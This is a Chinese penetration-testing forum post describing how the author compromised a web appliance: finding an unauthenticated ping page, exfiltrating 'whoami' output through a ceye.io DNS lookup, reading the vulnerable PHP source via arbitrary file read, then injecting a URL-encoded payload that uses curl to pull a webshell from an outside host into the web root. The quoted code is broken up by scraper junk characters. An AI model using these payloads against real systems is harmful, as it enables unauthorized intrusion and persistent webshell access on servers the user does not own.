中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
* {1 g1 J. I+ z7 u/ ^** **寻找突破口**, Y, M; M$ b& }1 t5 n; k- z. T, k

% }) r- N8 ~5 Z/ c9 ?: d7 u2 k**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
' U$ P+ W! r" a$ A3 |
5 O' R4 q; }4 N' ~: g![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
5 ~' J  W) N9 a1 k6 z* J7 A9 G; o( D

& P1 m, i0 n6 b3 S$ S6 i* n, y, q: b& `+ A
**发现reporter和[Technology,
1 R7 R+ x. I$ P! _% d. R/ \' SInc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
+ J  o- P: |" K% L! }  X9 x4 [) u6 a4 B" a$ e. o% @" i: D) O
**地址为:**7 f, o7 Y$ U- d% X! o% ]" B' r: {7 ^, c

( [5 Y( T+ ^9 s[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**
  A( Z% w' L" l7 h& ?
- }3 Z9 m% S3 _$ T: m6 s1 p![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
- {4 o# U9 t" D* j
$ W6 s/ `/ [4 p) U! |
# e: d8 x& V0 h( _
2 G' {. `+ ~* i**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**2 e4 u, u3 q5 [/ T* t0 {! z8 |

5 ~9 U7 d) J1 |4 Y' s. N+ y8 I8 ?**`whoami`.1111.ceye.io** **,如图:**$ f, G5 h! K" v1 F
3 C  d4 W, s- i# D
![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
1 `3 Y1 r% W+ B9 {" V2 N  `
8 H% |2 O: ?7 h# s, e' w- g
. k; Q0 ?- n; C6 u& `" N
6 W$ V7 d' \0 V& i% w$ t0 R  Y**返回dns记录如图:**) s" J" _5 C; q$ s# m
6 U; b/ ?) X  Y! `4 B$ t& X. d
![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
3 b0 |  G) [/ b. [9 i9 s- E: h9 E1 V; c4 H0 d

/ R3 _! w( Y; _% p+ E0 m' v9 [, b; a3 j6 e5 E
**发现当前用户权限为root**5 b. ?* t# j0 Y" C8 ~2 v/ s
, }# z# R! t" O1 j8 D, Q
**一、
7 O- @# T% n1 d! B** **通过漏洞组合getwebshell**
7 h6 X- q! h- `& e! C- c, c* t! e
**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
1 ^# t* e9 Y! {& g+ V# J% s5 ^  M* L
![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")' ^5 _5 M, _0 B

2 H5 M9 D" L# P3 U! l9 X) V6 W- C+ {* j, _
/ E+ q' T- b; c5 S! \. r! m
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
4 _" H) S! `! g# l# Y9 A
8 R4 N. ?/ y& }0 I1 w9 h+ |, c1 X**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**, M! P& t7 U- G$ ]8 D
4 i# t) i" q$ V( ?
![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
/ @- |2 b- M9 }  w  {3 T' @/ L: K- v8 g4 S1 g( a
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**7 U/ P% [9 ]# {/ M+ f  g' j
" B+ J$ Z( c( _# W4 f
![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\7 M- b) j8 S* N9 ]2 z

7 R# A" E' V6 r+ f0 f: {6 w  u9 D0 D( q- s& Q8 _
**源代码为:**
3 ^7 L* L) {; h# R7 @
- ~0 g# Z' {. h<?php
7 o. U" l/ o' ~9 G6 X# b( Dinclude_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");8 j1 t- L/ _8 u  @
?>- G: S* r( F0 x/ _. v" v% {( ^
( `  V& v( _. c* }
<?php
/ }% e/ L9 m2 E% C* Q5 b  O( N6 `' q# L  p2 m

4 a" D2 Y/ h0 g" O9 k1 f
* `  j; L- c4 P$ e2 \0 i' K$ Xsession_start ();  t3 u! @4 `- r7 F

' `0 E8 S! w) Y* H% v$ D
6 X1 L$ V5 o( Q6 s) [2 G
: J: R  U$ Z; a0 i) Z, p 7 |: t: ^/ z% t' k1 d1 B% i
! J: r( \. o( l( q
+ e2 J+ d, J6 B  D
  B) @' a3 W% [; H$ d- k% ~) u
if ($_GET ["objClass"] == "")) C! b& J7 H( }( Q# ]& `3 E
6 V; }* n2 n" D$ P  U) X% p& U) ?
8 x% x6 L- J# D6 s
) I6 D2 |9 t+ J9 W- |
      exit ();& C5 x0 T5 [5 O, s$ J+ ~
; A; m- u- j4 ~5 q' i7 G

9 X6 C3 S) D, e( q% g0 X
( T( M/ p; o$ H, l/ ^8 z$param = $_REQUEST;% g9 G9 _6 D( D' |5 a

4 d: [. @- S7 g+ n$ U. E  `+ |
8 x) W! s) L) y$ z- [
. {* h% Q, }2 \3 [ 8 o" F* ~* h% n' m3 }: K

7 R# o: p+ t5 z/ q1 R; k
7 |9 H& Y$ F! X6 v2 \* ^) g% L4 R$ U  G3 Y3 ?
//echo "\n--------------------------\n";
6 c' l' n- Y( s, ?; G) k$ V. z2 n
% p6 f) F7 Y9 T+ x- o! x
, [) A. P( F9 B0 E" i* i3 i4 Q: O3 s! S. U
//print_r($param);" T( t6 l' C# Y0 s2 c

& a" B. e  x! N7 S. ^! G9 Q, ]7 v9 v
( w! Q# w8 J3 h3 ?
3 C; `8 A9 _1 Z3 `- m8 e//echo "\n--------------------------\n";
$ ~4 X) ^3 P* o, N# S
  N" B, @' o0 Z9 G. L9 W& q, M
+ L* h1 T* ]4 C3 H* t1 |% B, J+ o/ V' ?
[if ($_GET ["method"] ==
( b9 t. V  P- v8 c0 O"getList" || $_GET ["method"] == "import" ||
* `- O: r! ]( W5 j; p! o& Y$ u$_GET ["method"] == "processAlarm") ](){
. ]" Z+ ~0 a, M- l: ~3 Q3 E8 T# h+ c" @5 G, M, o& A  z" t0 d' J
( G6 g7 n/ t: R1 E/ S

, E& J) u3 R: D0 i      $param
8 s, \$ Y, O+ r' i5 z+ `8 ~% I["user"] = $_SESSION ["s_userName"];
7 V5 C) U& a% J
, T2 \8 i) {% w6 `
) _1 Q% f3 P8 _2 a; ?: L1 P+ Q( [# c. Q% o4 X# V* y
      $param; i% h2 d' z) Q* e; W4 m
["lan"] = $_SESSION ["lan"];# c: y- {8 h( Z3 r9 i

9 U# s5 e9 W3 o/ a8 d, C; |
0 |* n  i+ A: H7 ~' ^' _! h3 G. X
      $param# t6 h2 H: Q, Y; V6 H, G
["regUserpath"] = $_SESSION ["regUserpath"];
# \. @! _) O! l. j5 {3 @/ r3 X" a
( |- M8 m# E5 V3 V$ x
' n$ b6 f7 u) i/ o5 m1 R4 {! [+ A8 _
    : E' |, q$ L. Z
% N2 q# h' @2 M. x. b

5 `. |( G! s6 ~6 K8 X8 u# \9 g6 g
& Z; d8 r& _/ \' l      exec (
% H( ^; j! O5 }9 D0 R"rm -rf /tmp/cache" );
3 k8 w1 }+ o( P4 i& n7 u  W' X/ k: S% Y. w4 b7 U9 H- ^5 _) N. m

& k, g5 A$ O/ U9 A1 g+ l2 E6 g/ b' b" J
      [$cmd = "/usr/local/php/bin/php ".$_SERVER8 _+ q) x' m5 p" I$ t. t( Y; L
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
  e- r) W% B4 c: K: G/ n; z( q4 O; T3 ]$ T# W; ]7 r4 J  t3 ]( Q

$ a0 _5 d5 r- ]4 d, G  {, Z& l0 ]) _4 u
      $cmd .=
; w0 p8 Z" f9 s9 t" " . $_GET ["objClass"];
' h# h. i  d  K1 w" b' w
$ Q8 e) ~: Q2 |0 [0 O' B" F9 w' l( Z: U# i  d/ m$ g
0 A) Z% |& P3 |. ^# L% z$ {0 {) j  f, Z
      $cmd .=  D/ L  c- y7 E; f7 z
" " . $_GET ["method"];
5 }! [* F# Y3 n5 A# i/ A. y( Z  f1 f. Z% `8 E& a

- {* x' ?4 ^; D* Z, \, S6 U( C5 G$ e7 `
      $cmd .=
5 Q0 I5 W8 w2 D5 ^/ O4 ?  b8 R1 E3 X8 U" " . base64_encode ( json_encode ( $param ) );2 [+ S- Q; M) C9 K4 z

+ i8 P1 a- f& |1 c/ I+ T& E1 f  s3 e8 G4 Q) p7 w2 C  B. C* n
8 ], a5 I; g$ j$ o
      [file_put_contents("/tmp/query_cmd",$cmd);]()
( {8 @5 _- j8 J& ^8 K8 O9 X7 K$ D0 L* v3 ^1 s, A% S4 \4 J" `

( Z" N0 u0 l4 U. r" n6 T2 ^1 b
2 T6 {  H4 w; V& ~$ e6 `      exec ( $cmd . " 5 w5 z& G4 J2 T+ I
> /dev/null &" );
6 o) l, [4 h$ a" p9 {8 T2 M
/ a8 \* K" m2 y
2 B/ l- E. P" q" {* g. w0 v& _, q5 s* V; ]+ Z6 `: d. \; D
1 K' z$ ^. w9 O' {( v3 N9 E0 P

0 v% H# V; V5 n$ H$ g} else {
' w" ^- E; p8 d7 `7 A; G- S
. h1 s+ q5 p. E9 ?; K2 I* q) b5 D9 I5 Q/ y  {6 A
6 O) `# X3 G3 Z& t' _* o& Y. N3 Z
      require_once
9 s0 t4 q8 j3 \& C($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
3 a2 M. E! w# L9 `
2 P. n3 ^% c9 ^- \  O7 A1 m5 ]- ~2 s0 g8 ^2 R1 s
, v3 w+ T" L2 G6 E* R- Q9 d1 T% b1 G
      $obj = new
: Q5 l6 `& ]1 c3 ?( y! QQueryInterface ();
6 m0 h. K/ h# a, j& a" B/ w7 N/ H- T: t' e! `7 A' f& x

% y# s; U$ E2 E$ C% [+ y# q2 Z9 a/ o' T8 {" h" f0 j" F8 g
      $instance =
2 s/ D  h% M% D# h7 E5 _3 t+ s: K$obj->getInstance ();
0 G" w) p6 {. Q' b/ e+ M# w: Y' Y5 R# h; s/ _2 s0 ]1 y3 y
% \! E6 H4 v) g  {  c5 r3 K* b, O

7 y/ U7 f4 W8 A  k0 X3 G. n      $instance->invokeMethod
5 c5 B% }# X4 ]/ n* m( $_GET ["objClass"], $_GET ["method"], $param );( D( T4 ~- s# O8 U

  Z9 G# h/ ?9 v# ~0 @9 t+ ~$ Y# ?2 m3 t

# w- Q, G0 @: p4 ?; ?}+ _6 l; ~1 B4 Q* C! S- T
- ~; z& H3 W) ^; ]
' j0 V$ z- k* C$ u' O& q
, K5 F! h3 _1 z' ~
exit ();
9 B1 N) M. A, x" G; J1 y/ K  ?! j- v! Y! ^

6 F  x6 n% `5 y/ h1 Z4 w& U* `1 M$ t2 j% B5 v% c* @
?>- u7 U: N/ z; b6 e; H
9 f1 P8 F9 s6 P( C6 i% Q7 @
**经常简单审计发现if ($_GET9 }$ ?  K! T; x4 l- m9 a1 N. d
["method"] == "getList" || $_GET ["method"] ==
( |6 f8 g1 P. s4 Z$ u: R. J- k+ D" X"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
9 [5 M$ ]; v+ s% M- Q1 Q, ?" s, x, z8 ^"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .& P7 [* ?: S, @
"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**- }) V: Q$ B& u) p, e' `

+ O7 j2 x; [$ P1 E5 ^5 R**      exec ( $cmd" M. w! h& n( b
. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
$ _  T5 b; N( d
$ ~; C+ \: e0 B
2 k+ \4 B& P# v: p( f2 W+ c3 ]![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
9 F/ b" N3 z+ n8 `& p4 q& N+ ]9 w) P0 O5 _5 V+ a2 z3 d
/ n. \4 m: F2 X+ f# w1 j, `

5 e% U" z( g8 b! H: Y7 D/ F8 n**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**4 A7 G& p( l6 @* y1 Q/ z% l7 I  z
( U9 ?" k: S; L& b; C# q) ^$ h
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
0 {/ T5 B0 e( N- y
; S9 _- s) D' u. W6 J' R# k' b: M  d**我们用url解码如下:**9 @2 }+ e( W- @( v/ x1 e+ G

; t$ w! I9 i& j8 r# H**|curl http://1.1.1.1/qYCwxRz1.zip -o
( o- S$ d2 M# o/ C, \8 b  k; e9 s/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o
6 @. @  ^5 `1 ?/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)
7 S0 ~0 y- R! z: k  ?5 }8 }% ~1 e
, U  W1 X: ~1 n8 z$ v- F**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**5 M& v4 D. A% Z/ p4 m% y5 q
6 b6 |8 f1 F7 L1 i. ]7 m, t

! {" u5 M( [# z8 \* M  D9 C![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")0 ?) T% p) {  U. s3 W5 I) m" W0 k

: e" Z4 ]: q  A7 J) u
1 t) O# K- o# Z& y' |: {- ?
4 Z4 D3 D* R) j! U" x, x( u' E6 n" u
**三、总结**9 V2 h6 O) r; T. o5 i$ D

& ^8 ]( Z3 L, c* \* v' I1 f( _5 t& `) ]**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**+ `1 w) ^, _- L1 u

0 @9 L! x" L" S4 _- Z**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
  ]- @* H& P' b$ z5 D2 i' [[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2